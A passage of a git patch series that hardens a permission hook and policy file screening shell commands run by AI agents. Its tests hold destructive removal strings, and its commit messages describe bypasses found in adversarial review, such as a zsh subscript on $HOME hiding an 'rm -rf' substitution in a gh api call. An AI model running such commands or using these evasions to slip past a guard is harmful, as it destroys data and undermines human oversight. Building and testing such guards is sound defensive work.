pytest.CaptureFi pytest.param("gh api repos/o/r/issues/1 -\\\nXDELETE", [], id="a line continuation inside an option"), pytest.param("herdr worktree open --cwd /r --trust\\\n-repository", [], id="a line continuation in Herdr"), pytest.param("herdr worktree open --cwd $W", [], id="unquoted words in Herdr options"), + pytest.param( + "printf '%s\\n' '--cwd /r --trust-repository' | read -rA a; herdr worktree open \"$a[@]\"", + [], + id="a zsh array expansion in a new Herdr form", + ), + pytest.param('herdr agent read "$LANE"', [], id="a quoted expansion in a new Herdr form"), + pytest.param('herdr worktree list --cwd "$(pwd)"', [], id="a substitution in a new Herdr form"), pytest.param("herdr pane split --pane w1:p2 --cwd $W --no-focus", [], id="unquoted words in Herdr panes"), pytest.param( "f(){ x=$*; gh api $x; }; f -X DELETE repos/o/r/issues/1", [], id="functions forwarding through a variable" diff --git a/tests/agents/hooks/test_command_cli.py b/tests/agents/hooks/test_command_cli.py index ecc8a76..aaf058a 100644 --- a/tests/agents/hooks/test_command_cli.py +++ b/tests/agents/hooks/test_command_cli.py @@ -80,7 +80,7 @@ def test_invalid_command_json_remains_a_cli_error(run_cli: CliRunner) -> None: @pytest.mark.parametrize( "script,arguments,command,reason", [ - ("guard_command.py", ("forbidden",), "rm -rf /" + "x" * 1000, "forbidden command"), + ("guard_command.py", ("forbidden",), "rm -rf " + "x" * 1000, "forbidden command"), ("guard_git.py", (), "git reset --hard " + "x" * 1000, "BLOCKED:"), ], ids=["forbidden", "dangerous-git"], diff --git a/tests/agents/hooks/test_forbidden_command.py b/tests/agents/hooks/test_forbidden_command.py index 2ebcd1b..1f5a2c5 100644 --- a/tests/agents/hooks/test_forbidden_command.py +++ b/tests/agents/hooks/test_forbidden_command.py @@ -160,6 +160,8 @@ def test_uninspectable_commands_are_left_to_the_user(kind: str, command: str) -> "bash <<'EOF'\nrm -rf build\nEOF", "if true; then git add -A; fi", 'echo "${TARGET:-$(rm -rf build)}"', + "{ rm -rf /Users/kaito/project/build; } > $'out'", + '( rm -rf build ) >> "$LOG"', ], ) def test_denials_apply_to_commands_inside_substitutions_clauses_and_shell_heredocs(command: str) -> None: diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py deleted file mode 100644 index 877fb56..0000000 --- a/tests/agents/hooks/test_removal_command.py +++ /dev/null @@ -1,254 +0,0 @@ -"""rm passes only where every target is a literal path inside a temporary directory.""" - -from pathlib import Path -import subprocess - -import pytest - -from tests.runtime import load_script_module - - -guard = load_script_module("agents/hooks/guard_command.py", "guard_command") - - -@pytest.fixture -def project(git_project: Path, temporary_roots: Path) -> Path: - """A repository with clean, modified, staged, and untracked files outside the temporary roots.""" - for name in ("tracked.txt", "modified.txt", "staged.txt"): - (git_project / name).write_text("before") - (git_project / "sub").mkdir() - (git_project / "sub/nested.txt").write_text("before") - git(git_project, "add", "tracked.txt", "modified.txt", "staged.txt", "sub/nested.txt") - git(git_project, "commit", "--quiet", "-m", "files") - (git_project / "modified.txt").write_text("after") - (git_project / "staged.txt").write_text("after") - git(git_project, "add", "staged.txt") - (git_project / "untracked.txt").write_text("new") - return temporary_roots - - -def git(directory: Path, *arguments: str) -> None: - subprocess.run(["git", *arguments], cwd=directory, check=True, capture_output=True) - - -def decide(kind: str, command: str, cwd: Path | None = None) -> str: - payload: dict = {"tool_input": {"command": command}} - if cwd: - payload["cwd"] = str(cwd) - return guard.decide(kind, payload).decision - - -@pytest.mark.parametrize( - "command", - [ - pytest.param("rm {tmp}/a.txt", id="a file in the temporary directory"), - pytest.param("rm -f {scratch}/session/a.txt {tmp}/b.txt", id="files in the scratchpad"), - pytest.param("/bin/rm -- {tmp}/a.txt", id="rm invoked by path"), - pytest.param("rm -rf {tmp}/build", id="a tree in the temporary directory"), - pytest.param("rm -r -- {scratch}/a {tmp}/b", id="trees in both temporary roots"), - pytest.param("rm -fR {tmp}/a/../b", id="a normalized path that stays inside"), - pytest.param("ls {tmp} && rm -f {tmp}/a.txt; echo done", id="beside commands that only read"), - pytest.param("command rm {tmp}/a.txt", id="behind a wrapper"), - pytest.param("rm -f -- {tmp}/a_b-c.d/@x+y,z:1%2", id="every plain character"), - ], -) -@pytest.mark.parametrize("kind", ["allowed", "forbidden"]) -def test_removals_inside_a_temporary_root_pass(project: Path, kind: str, command: str) -> None: - command = command.format(tmp=project / "tmp", scratch=project / "scratch") - assert decide(kind, command) == "allow" - - -@pytest.mark.parametrize( - "command", - [ - pytest.param("rm tracked.txt", id="a tracked file without changes, which git rm handles"), - pytest.param("rm -f -- tracked.txt sub/nested.txt", id="several tracked files without changes"), - pytest.param("/bin/rm tracked.txt", id="a tracked file by path"), - pytest.param("command rm tracked.txt", id="a tracked file behind a wrapper"), - pytest.param("rm modified.txt", id="a tracked file with unstaged changes"), - pytest.param("rm staged.txt", id="a tracked file with staged changes"), - pytest.param("rm untracked.txt", id="an untracked file"), - pytest.param("rm tracked.txt untracked.txt", id="one unrestorable target among several"), - pytest.param("rm $FILE", id="a run-time target"), - pytest.param("rm *.txt", id="a glob"), - pytest.param("rm $FLAGS tracked.txt", id="run-time options"), - pytest.param("cd sub && rm tracked.txt", id="a relative target after the directory changes"), - pytest.param("echo tracked.txt | xargs rm", id="targets read from input"), - pytest.param("rm {tmp}/../outside.txt", id="a path that leaves the temporary directory"), - pytest.param("rm --unknown tracked.txt", id="an unknown option"), - pytest.param("rm", id="no targets"), - pytest.param("printf x >> tracked.txt; rm tracked.txt", id="a write to the target first"), - pytest.param("mv untracked.txt tracked.txt && rm tracked.txt", id="a move onto the target first"), - pytest.param("ln -s {project} {tmp}/link; rm {tmp}/link/sub", id="a symlink created first"), - pytest.param("rm tracked.txt; git checkout -- tracked.txt", id="any command that can write"), - pytest.param("builtin cd sub && rm tracked.txt", id="a builtin directory change"), - pytest.param("env --chdir=sub rm tracked.txt", id="env with a long directory option"), - pytest.param("env -Csub rm tracked.txt", id="env with an attached directory option"), - pytest.param("$GO sub; rm tracked.txt", id="a run-time program first"), - pytest.param("{{ printf x; }} >> tracked.txt; rm tracked.txt", id="a write redirect on a block"), - pytest.param("( printf x ) > tracked.txt; rm tracked.txt", id="a write redirect on a subshell"), - pytest.param("if true; then printf x; fi >> tracked.txt; rm tracked.txt", id="a write redirect on an if"), - pytest.param("while false; do :; done > tracked.txt; rm tracked.txt", id="a write redirect on a while"), - pytest.param("for i in 1; do echo; done >> tracked.txt; rm tracked.txt", id="a write redirect on a for"), - pytest.param("{{ ls; }} > {tmp}/out.txt; rm {tmp}/a.txt", id="any compound write beside rm"), - pytest.param("rm '[t]racked.txt'", id="a quoted glob that Git would match against a tracked file"), - pytest.param("rm ':(top)tracked.txt'", id="pathspec magic"), - pytest.param("rm 'tracked*.txt'", id="a quoted wildcard"), - pytest.param("rg --pre ./mk x {tmp}; rm {tmp}/a.txt", id="a search that runs a preprocessor"), - pytest.param("/usr/bin/time -o {tmp}/a.txt ls; rm {tmp}/a.txt", id="a wrapper that writes a file"), - pytest.param("rm ~/a.txt $HOME/b.txt", id="home directory paths"), - pytest.param("rm -f {tmp}/{{a,../../../x}}", id="brace expansion that leaves the temporary directory"), - pytest.param("rm {tmp}/a{{1..3}}.txt", id="a brace sequence"), - pytest.param("rm {tmp}/{{a}}.txt", id="unquoted braces"), - pytest.param("rm -f {tmp}/a/.\\\n./../../outside.txt", id="a line continuation that builds a parent step"), - pytest.param("rm -f {tmp}/{{a,'b'}}", id="braces around a quoted part"), - ], -) -def test_removals_outside_a_temporary_root_ask(project: Path, git_project: Path, command: str) -> None: - command = command.format(tmp=project / "tmp", project=git_project) - assert decide("allowed", command) == "ask" - assert decide("forbidden", command) == "allow" - - -@pytest.mark.parametrize( - "command", - [ - pytest.param("rm -rf build", id="a tree in the project"), - pytest.param("rm -r tracked.txt", id="a tracked file removed recursively"), - pytest.param("rm -r {tmp}/a build", id="one tree outside the temporary roots"), - pytest.param("rm -rf $TARGET", id="a run-time tree"), - pytest.param("rm -rf {tmp}", id="the temporary directory itself"), - pytest.param("rm -rf {tmp}/../..", id="a path that climbs out"), - pytest.param("rm build -rf", id="options after the operands"), - pytest.param("rm --recursive build", id="the long option"), - pytest.param("rm -rf {tmp}/{{a,../../../x}}", id="a tree named through brace expansion"), - pytest.param("rm -rf {tmp}/a/.\\\n./../..", id="a tree named across a line continuation"), - pytest.param("echo {tmp}/a | xargs rm -rf {tmp}/b", id="trees read from input"), - pytest.param("rm \\-rf {project}", id="an escaped recursive flag"), - pytest.param("rm -\\rf build", id="an escape inside a recursive flag"), - pytest.param("rm '-r' build", id="a quoted recursive flag"), - pytest.param("rm {project} \\--recursive", id="an escaped long flag after the operand"), - pytest.param("ln -s {project} {tmp}/link; rm -r {tmp}/link/sub", id="a tree under a symlink created first"), - pytest.param("printf x > {tmp}/out.txt; rm -rf {tmp}/build", id="a temporary tree beside a write"), - ], -) -def test_recursive_removals_outside_the_temporary_roots_stay_denied( - project: Path, git_project: Path, command: str -) -> None: - command = command.format(tmp=project / "tmp", project=git_project) - verdict = guard.decide("forbidden", {"tool_input": {"command": command}}) - assert verdict.decision == "deny" - assert "directory trees" in verdict.reason - - -@pytest.mark.parametrize( - "command", - [ - pytest.param("rm =tool", id="a zsh command-path expansion"), - pytest.param("PATH=/repo/bin:$PATH; rm =tool", id="a zsh command-path expansion after PATH changes"), - pytest.param("rm ~/x", id="a home directory path"), - pytest.param("rm a.txt", id="a relative path"), - pytest.param("rm ./sub/a.txt", id="a dot-relative path"), - ], -) -def test_targets_that_are_not_absolute_literal_paths_ask_even_in_a_temporary_directory( - project: Path, command: str -) -> None: - temporary = project / "tmp" - assert decide("allowed", command, cwd=temporary) == "ask" - workdir = {"tool_input": {"command": command, "workdir": str(temporary)}, "cwd": str(temporary)} - assert guard.decide("allowed", workdir).decision == "ask" - - -def test_a_recursive_zsh_command_path_expansion_stays_denied(project: Path) -> None: - command = "PATH=/repo/bin:$PATH; rm -rf =tool" - assert decide("forbidden", command, cwd=project / "tmp") == "deny" - - -@pytest.mark.parametrize( - "command", - [ - pytest.param("rm {tmp}/tool", id="the same file as an absolute temporary path"), - pytest.param("rm '{tmp}/tool'", id="a quoted absolute temporary path"), - ], -) -def test_absolute_temporary_paths_pass_from_any_directory(project: Path, git_project: Path, command: str) -> None: - command = command.format(tmp=project / "tmp") - assert decide("allowed", command, cwd=git_project) == "allow" - - -@pytest.mark.parametrize( - "command", - [ - pytest.param('rm -f "{tmp}/link\\/sub"', id="a backslash the shell may drop"), - pytest.param("rm -f {tmp}/a\\b", id="an escaped character"), - pytest.param("rm {tmp}/'=tool'", id="a quoted equals sign"), - pytest.param("rm {tmp}/=tool", id="an equals sign"), - pytest.param("rm '{tmp}/a b'", id="a space"), - pytest.param("rm '{tmp}/a;b'", id="a separator character"), - pytest.param('rm "{tmp}/a\'b"', id="a quote character"), - pytest.param("rm '{tmp}/{{a,b}}' \"{tmp}/[c]\" {tmp}/\\*", id="quoted or escaped glob and brace characters"), - ], -) -def test_temporary_paths_with_characters_outside_the_plain_set_ask(project: Path, command: str) -> None: - command = command.format(tmp=project / "tmp") - assert decide("allowed", command) == "ask" - assert decide("forbidden", command) == "allow" - - -def test_a_recursive_removal_through_a_dropped_backslash_stays_denied(project: Path) -> None: - assert decide("forbidden", f'rm -rf "{project / "tmp"}/link\\/sub"') == "deny" - - -@pytest.mark.parametrize("root", ["scratch", "tmp"]) -def test_a_temporary_root_that_links_outside_the_system_temp_areas_is_not_a_root( - project: Path, monkeypatch: pytest.MonkeyPatch, root: str -) -> None: - link = project / f"{root}-link" - link.symlink_to("/usr") - if root == "scratch": - monkeypatch.setattr(guard.removal_policy, "SCRATCH_ROOT", link) - else: - monkeypatch.setenv("TMPDIR", str(link)) - assert decide("allowed", f"rm {link}/never-created.txt") == "ask" - assert decide("forbidden", f"rm -rf {link}/never-created") == "deny" - - -def test_a_reassigned_home_cannot_vouch_for_a_target( - project: Path, git_project: Path, monkeypatch: pytest.MonkeyPatch -) -> None: - monkeypatch.setenv("HOME", str(git_project)) - assert decide("allowed", f"HOME={git_project.parent}; rm ~/tracked.txt") == "ask" - - -def test_a_symlink_out_of_the_temporary_directory_does_not_count_as_temporary( - project: Path, git_project: Path -) -> None: - link = project / "tmp/link" - link.symlink_to(git_project) - assert decide("forbidden", f"rm -rf {link}/") == "deny" - - -@pytest.mark.parametrize("name", ["[t]racked.txt", "tracked*.txt", ":(top)tracked.txt"]) -def test_untracked_names_that_git_would_read_as_patterns_ask(project: Path, git_project: Path, name: str) -> None: - (git_project / name).write_text("untracked") - assert decide("allowed", f"rm '{name}'") == "ask" - - -@pytest.mark.parametrize("flag", ["--assume-unchanged", "--skip-worktree"]) -def test_tracked_files_whose_changes_git_skips_ask(project: Path, git_project: Path, flag: str) -> None: - git(git_project, "update-index", flag, "tracked.txt") - (git_project / "tracked.txt").write_text("uncommitted") - assert decide("allowed", "rm tracked.txt") == "ask" - - -def test_a_flagged_file_without_changes_still_asks(project: Path, git_project: Path) -> None: - git(git_project, "update-index", "--assume-unchanged", "tracked.txt") - assert decide("allowed", "rm tracked.txt") == "ask" - - -def test_a_clean_filter_cannot_hide_uncommitted_content(project: Path, git_project: Path) -> None: - git(git_project, "config", "filter.keep-head.clean", "head -c 6") - (git_project / ".git/info/attributes").write_text("tracked.txt filter=keep-head\n") - (git_project / "tracked.txt").write_text("before and uncommitted notes") - assert decide("allowed", "rm tracked.txt") == "ask" diff --git a/tests/agents/test_command_permission_sync.py b/tests/agents/test_command_permission_sync.py index 252b4e1..7436f16 100644 --- a/tests/agents/test_command_permission_sync.py +++ b/tests/agents/test_command_permission_sync.py @@ -180,5 +180,8 @@ def test_watching_lanes_and_their_worktrees_runs_without_approval(prefix: tuple[ assert prefix in ALLOW -def test_the_command_hook_alone_judges_rm() -> None: - assert [rule for rule in POLICY["rules"] if rule["prefix"][0] == "rm"] == [] +def test_rm_asks_and_recursive_rm_is_denied_by_the_shared_prefixes() -> None: + assert ("rm",) in ASK + deny = {tuple(rule["prefix"]) for rule in POLICY["rules"] if rule["decision"] == "deny"} + recursive = {("rm", flag) for flag in ("-r", "-rf", "-fr", "-R", "-Rf", "--recursive")} + assert recursive <= deny From d96ac05267d33d7b30c6343aeea8162864d191d4 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 19:34:53 +0900 Subject: [PATCH 17/25] fix(agents): restore main's rm rules and describe the curl and wget allows rm leaves this pull request for a separate Issue, so its shared ask prefix and the rm -r, -rf, -fr, -R, -Rf, and --recursive deny prefixes return exactly as on main. The curl and wget allow prefixes now say that they cover requests to local servers, since the command hook asks before any remote request. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/command_permissions.json | 59 +++++++++++++++++++++++++++++++-- 1 file changed, 57 insertions(+), 2 deletions(-) diff --git a/agents/command_permissions.json b/agents/command_permissions.json index 9821b08..525fd26 100644 --- a/agents/command_permissions.json +++ b/agents/command_permissions.json @@ -1713,14 +1713,14 @@ "prefix": [ "curl" ], - "justification": "Allow fetches; the precise rules ask before a remote request sends data, and the sandbox limits where requests go." + "justification": "Allow requests to local servers; the command hook asks before any remote request, which can send local data." }, { "decision": "allow", "prefix": [ "wget" ], - "justification": "Allow fetches; the precise rules ask before a remote request sends data, and the sandbox limits where requests go." + "justification": "Allow requests to local servers; the command hook asks before any remote request, which can send local data." }, { "decision": "allow", @@ -2119,6 +2119,13 @@ ], "justification": "Ask before running scripts or fetched packages that policy cannot inspect." }, + { + "decision": "ask", + "prefix": [ + "rm" + ], + "justification": "Ask before removing files that Git cannot restore; recursive removal stays denied." + }, { "decision": "allow", "prefix": [ @@ -2565,6 +2572,54 @@ ], "justification": "Do not hide shell commands inside a shell wrapper; policy inspects the literal command." }, + { + "decision": "deny", + "prefix": [ + "rm", + "-r" + ], + "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." + }, + { + "decision": "deny", + "prefix": [ + "rm", + "-rf" + ], + "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." + }, + { + "decision": "deny", + "prefix": [ + "rm", + "-fr" + ], + "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." + }, + { + "decision": "deny", + "prefix": [ + "rm", + "-R" + ], + "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." + }, + { + "decision": "deny", + "prefix": [ + "rm", + "-Rf" + ], + "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." + }, + { + "decision": "deny", + "prefix": [ + "rm", + "--recursive" + ], + "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." + }, { "decision": "deny", "prefix": [ From e27369b45b2cc595c2754efaa145832fd32715c8 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 19:47:06 +0900 Subject: [PATCH 18/25] fix(agents): treat any expansion as non-literal for the literal_words rules A fourteenth adversarial review of #242 found that the literal_words rules counted "$HOME" as static and missed a subscript inside quotes, so idx='pipestatus[1$(rm -rf /tmp/review-target)]'; gh api -H 'Accept: x' "$HOME[idx]" passed while zsh runs the hidden substitution. The Herdr read, wait, and worktree forms had the same hole. Each word now carries a literal flag: no parameter expansion of any kind, the home directory included, no substitution, arithmetic, or leading tilde, and nothing that spreads, quoted or not. The literal_words rules apply only when every word is literal; main's rules are unchanged. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 2 +- agents/hooks/lib/shell_syntax.py | 18 +++++++++++++++++- tests/agents/hooks/test_allowed_command.py | 13 +++++++++++++ 3 files changed, 31 insertions(+), 2 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 035f6d0..bd90afe 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -92,7 +92,7 @@ def is_listed(candidate: shell_syntax.Command, rules: list[dict]) -> bool: text = candidate.static_words_text if command_policy.regex_reason(text, command_policy.literal_rules(rules, literal=False)): return True - literal = not candidate.has_dynamic_words and not any(candidate.spreading) + literal = all(candidate.literal) return literal and bool(command_policy.regex_reason(text, command_policy.literal_rules(rules, literal=True))) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 58ee3ac..3cc606e 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -83,7 +83,9 @@ class Command: than the home directory); such arguments carry their source text. `writes` lists the files that output redirections would create or overwrite. `appends_input` marks a command that xargs runs with further arguments read from its input. `spreading` flags arguments that may become - several words at run time, options included. + several words at run time, options included. `literal` flags arguments with no expansion of any + kind, quoted or not: no parameter (the home directory included), substitution, arithmetic, or + leading tilde, and nothing that spreads; zsh can run code while expanding even a quoted word. """ raw: str @@ -96,6 +98,7 @@ class Command: writes: tuple[str, ...] = () appends_input: bool = False spreading: tuple[bool, ...] = () + literal: tuple[bool, ...] = () def __post_init__(self) -> None: if not self.words: @@ -104,6 +107,8 @@ def __post_init__(self) -> None: object.__setattr__(self, "dynamic", (False,) * len(self.arguments)) if not self.spreading: object.__setattr__(self, "spreading", (False,) * len(self.arguments)) + if not self.literal: + object.__setattr__(self, "literal", (True,) * len(self.arguments)) @property def words_text(self) -> str: @@ -159,6 +164,7 @@ def rebased(self, index: int, head: tuple[str, ...] = (), depth: int | None = No words=words, dynamic=((False,) * len(head)) + self.dynamic[index:], spreading=((False,) * len(head)) + self.spreading[index:], + literal=((True,) * len(head)) + self.literal[index:], ) @@ -260,6 +266,7 @@ def literal_command(node: dict, owner: dict, data: bytes) -> Command: trailer=" ".join(source_text(redirect, data) for redirect in redirects), dynamic=tuple(flag for _, flag in decoded), spreading=tuple(spreads(word, data) for word in node["Args"]), + literal=tuple(is_literal_word(word, data) for word in node["Args"]), writes=statement_writes(owner, data), ) @@ -328,6 +335,15 @@ def spreads(word: dict, source: bytes) -> bool: return False +def is_literal_word(word: dict, source: bytes) -> bool: + """Whether a word expands nothing at all, even inside quotes or as the home directory.""" + parts = word.get("Parts", []) + if parts and parts[0].get("Type") == "Lit" and parts[0].get("Value", "").startswith("~"): + return False + expanding = SPLIT_PARTS | {"ParamExp"} + return not spreads(word, source) and not any(part.get("Type") in expanding for part in word_nodes(word)) + + def word_nodes(value: object) -> Iterator[dict]: """Walk a word's parts without entering substitutions, whose commands parse judges separately.""" if isinstance(value, dict): diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 60f733d..9bb6252 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -189,6 +189,19 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi id="a zsh array expansion in a new Herdr form", ), pytest.param('herdr agent read "$LANE"', [], id="a quoted expansion in a new Herdr form"), + pytest.param( + "idx='pipestatus[1$(rm -rf /tmp/review-target)]'; gh api -H 'Accept: x' \"$HOME[idx]\"", + [], + id="a zsh subscript on HOME beside an allowed header", + ), + pytest.param( + "idx='pipestatus[1$(rm -rf /tmp/review-target)]'; herdr agent read \"$HOME[idx]\"", + [], + id="a zsh subscript on HOME in a new Herdr form", + ), + pytest.param("gh api -H 'Accept: x' 'repos/o/r' --jq \"$HOME\"", [], id="HOME beside an allowed header"), + pytest.param('herdr worktree list --cwd "$HOME"', [], id="HOME in a new Herdr form"), + pytest.param("herdr worktree open --cwd ~/repo --branch x", [], id="a tilde in a new Herdr form"), pytest.param('herdr worktree list --cwd "$(pwd)"', [], id="a substitution in a new Herdr form"), pytest.param("herdr pane split --pane w1:p2 --cwd $W --no-focus", [], id="unquoted words in Herdr panes"), pytest.param( From ad0420dea7e5792bfcd2f58792f54c5414bf64d1 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 19:58:04 +0900 Subject: [PATCH 19/25] fix(agents): judge literal_words rules on the whole command text A fifteenth adversarial review of #242 found expansions hidden outside the arguments the per-word check saw: in the program name, a leading assignment, a redirect target, or a compound command's redirect, as in Z="$HOME[idx]" gh api -H 'Accept: x' repos/o/r. Stop checking position by position: the literal_words rules (the gh api Accept and X-GitHub-Api-Version header rule and the Herdr read, wait, and worktree rule) apply only when the whole command text holds none of $, a backtick, ~, *, ?, [, ], {, }, or a backslash-newline. Any other command is judged by main's rules alone, and the per-word literal flag is gone. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 26 ++++++++++---------- agents/hooks/lib/shell_syntax.py | 18 +------------- tests/agents/hooks/test_allowed_command.py | 28 ++++++++++++++++++++-- 3 files changed, 40 insertions(+), 32 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index bd90afe..4fb0b75 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -31,6 +31,9 @@ "or use gh api / nix store prefetch-file for exact values and files." ) # Settings that can send a request to a local server somewhere else: a proxy, or another configuration file. +# Characters through which any shell may expand or run something; a command holding one anywhere, +# in the program name, an assignment, or a redirect included, gets no literal_words rule. +EXPANDING_TEXT = re.compile(r"[$`~*?\[\]{}]|\\\n") REQUEST_SETTINGS = re.compile(r"proxy|curlrc|wgetrc|curl_home|(^|[^a-z0-9_])(home|xdg_config_home)=", re.IGNORECASE) @@ -88,14 +91,6 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: return governed_objection(candidate, policy, preview) -def is_listed(candidate: shell_syntax.Command, rules: list[dict]) -> bool: - text = candidate.static_words_text - if command_policy.regex_reason(text, command_policy.literal_rules(rules, literal=False)): - return True - literal = all(candidate.literal) - return literal and bool(command_policy.regex_reason(text, command_policy.literal_rules(rules, literal=True))) - - def forbidden_objection(item: shell_syntax.Command, candidate: shell_syntax.Command, policy: Policy) -> Verdict: """Deny only: a literal deny prefix or pattern wins even beside a run-time argument.""" rules = policy.rules @@ -116,16 +111,16 @@ def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: A run-time word counts as a plain placeholder, so it passes only where any value would, and a command that can hide an option from the rules, or takes more arguments from xargs, asks: a - quoted option, or a word that may split into several, such as an unquoted expansion. Rules - marked literal_words apply only when no word expands at all, since a shell such as zsh may - split even a quoted expansion. + quoted option, or a word that may split into several, such as an unquoted expansion. """ prefixes, rules = policy.prefixes, policy.rules if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): return hook_decision.ALLOW governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") if governed is None or ( - not candidate.appends_input and not candidate.hides_options and is_listed(candidate, rules) + not candidate.appends_input + and not candidate.hides_options + and command_policy.regex_reason(candidate.static_words_text, rules) ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) @@ -162,13 +157,18 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: - """The first objection any segment raises, then whether the command's settings could redirect a request.""" + """The first objection any segment raises, then whether the command's settings could redirect a request. + + Rules marked literal_words apply only when the whole command text expands nothing anywhere. + """ command = payload.get("tool_input", {}).get("command") or "" try: commands = shell_syntax.parse(command) except shell_syntax.UnsupportedSyntax as error: preview = shell_syntax.command_preview(command) return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") + if EXPANDING_TEXT.search(command): + policy = Policy(policy.prefixes, command_policy.literal_rules(policy.rules, literal=False)) verdicts = (objection(kind, item, policy) for item in commands) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) if kind == "allowed" and verdict.decision == "allow": diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 3cc606e..58ee3ac 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -83,9 +83,7 @@ class Command: than the home directory); such arguments carry their source text. `writes` lists the files that output redirections would create or overwrite. `appends_input` marks a command that xargs runs with further arguments read from its input. `spreading` flags arguments that may become - several words at run time, options included. `literal` flags arguments with no expansion of any - kind, quoted or not: no parameter (the home directory included), substitution, arithmetic, or - leading tilde, and nothing that spreads; zsh can run code while expanding even a quoted word. + several words at run time, options included. """ raw: str @@ -98,7 +96,6 @@ class Command: writes: tuple[str, ...] = () appends_input: bool = False spreading: tuple[bool, ...] = () - literal: tuple[bool, ...] = () def __post_init__(self) -> None: if not self.words: @@ -107,8 +104,6 @@ def __post_init__(self) -> None: object.__setattr__(self, "dynamic", (False,) * len(self.arguments)) if not self.spreading: object.__setattr__(self, "spreading", (False,) * len(self.arguments)) - if not self.literal: - object.__setattr__(self, "literal", (True,) * len(self.arguments)) @property def words_text(self) -> str: @@ -164,7 +159,6 @@ def rebased(self, index: int, head: tuple[str, ...] = (), depth: int | None = No words=words, dynamic=((False,) * len(head)) + self.dynamic[index:], spreading=((False,) * len(head)) + self.spreading[index:], - literal=((True,) * len(head)) + self.literal[index:], ) @@ -266,7 +260,6 @@ def literal_command(node: dict, owner: dict, data: bytes) -> Command: trailer=" ".join(source_text(redirect, data) for redirect in redirects), dynamic=tuple(flag for _, flag in decoded), spreading=tuple(spreads(word, data) for word in node["Args"]), - literal=tuple(is_literal_word(word, data) for word in node["Args"]), writes=statement_writes(owner, data), ) @@ -335,15 +328,6 @@ def spreads(word: dict, source: bytes) -> bool: return False -def is_literal_word(word: dict, source: bytes) -> bool: - """Whether a word expands nothing at all, even inside quotes or as the home directory.""" - parts = word.get("Parts", []) - if parts and parts[0].get("Type") == "Lit" and parts[0].get("Value", "").startswith("~"): - return False - expanding = SPLIT_PARTS | {"ParamExp"} - return not spreads(word, source) and not any(part.get("Type") in expanding for part in word_nodes(word)) - - def word_nodes(value: object) -> Iterator[dict]: """Walk a word's parts without entering substitutions, whose commands parse judges separately.""" if isinstance(value, dict): diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 9bb6252..04fa70a 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -73,14 +73,18 @@ pytest.param("curl -s -H 'Accept: x' -o out.json http://127.0.0.1:8080/api", id="local server downloads"), pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), pytest.param( - "gh api -H \"Accept: application/vnd.github.raw\" 'repos/o/r/contents/a.nix?ref=v1' | sed -n 1,20p", + 'gh api -H "Accept: application/vnd.github.raw" repos/o/r/contents/README.md | sed -n 1,20p', id="GitHub reads with a header before the endpoint", ), pytest.param( - "gh api --header 'X-GitHub-Api-Version: 2022-11-28' repos/o/r/releases --jq '.[].tag_name'", + "gh api --header 'X-GitHub-Api-Version: 2022-11-28' repos/o/r/releases --jq .name", id="GitHub reads with a version header", ), pytest.param("herdr agent read lane-a --source recent --lines 80", id="Herdr agent reads"), + pytest.param( + "gh api -H 'Accept: application/vnd.github.raw' repos/o/r/contents/README.md", id="a plain header read" + ), + pytest.param("herdr agent read lane-name", id="a plain Herdr agent read"), pytest.param("herdr agent wait lane-a --until done --until blocked --timeout 600000", id="Herdr agent waits"), pytest.param("herdr worktree list --cwd /repo", id="Herdr worktree lists"), pytest.param("herdr agent read --help", id="Herdr help for the lane commands"), @@ -201,6 +205,26 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi ), pytest.param("gh api -H 'Accept: x' 'repos/o/r' --jq \"$HOME\"", [], id="HOME beside an allowed header"), pytest.param('herdr worktree list --cwd "$HOME"', [], id="HOME in a new Herdr form"), + *( + pytest.param(command, [], id=f"{name} for {program}") + for program, plain in ( + ("gh api", "gh api -H 'Accept: x' repos/o/r"), + ("herdr", "herdr agent read lane-a"), + ) + for name, command in ( + ("an expansion in the program name", 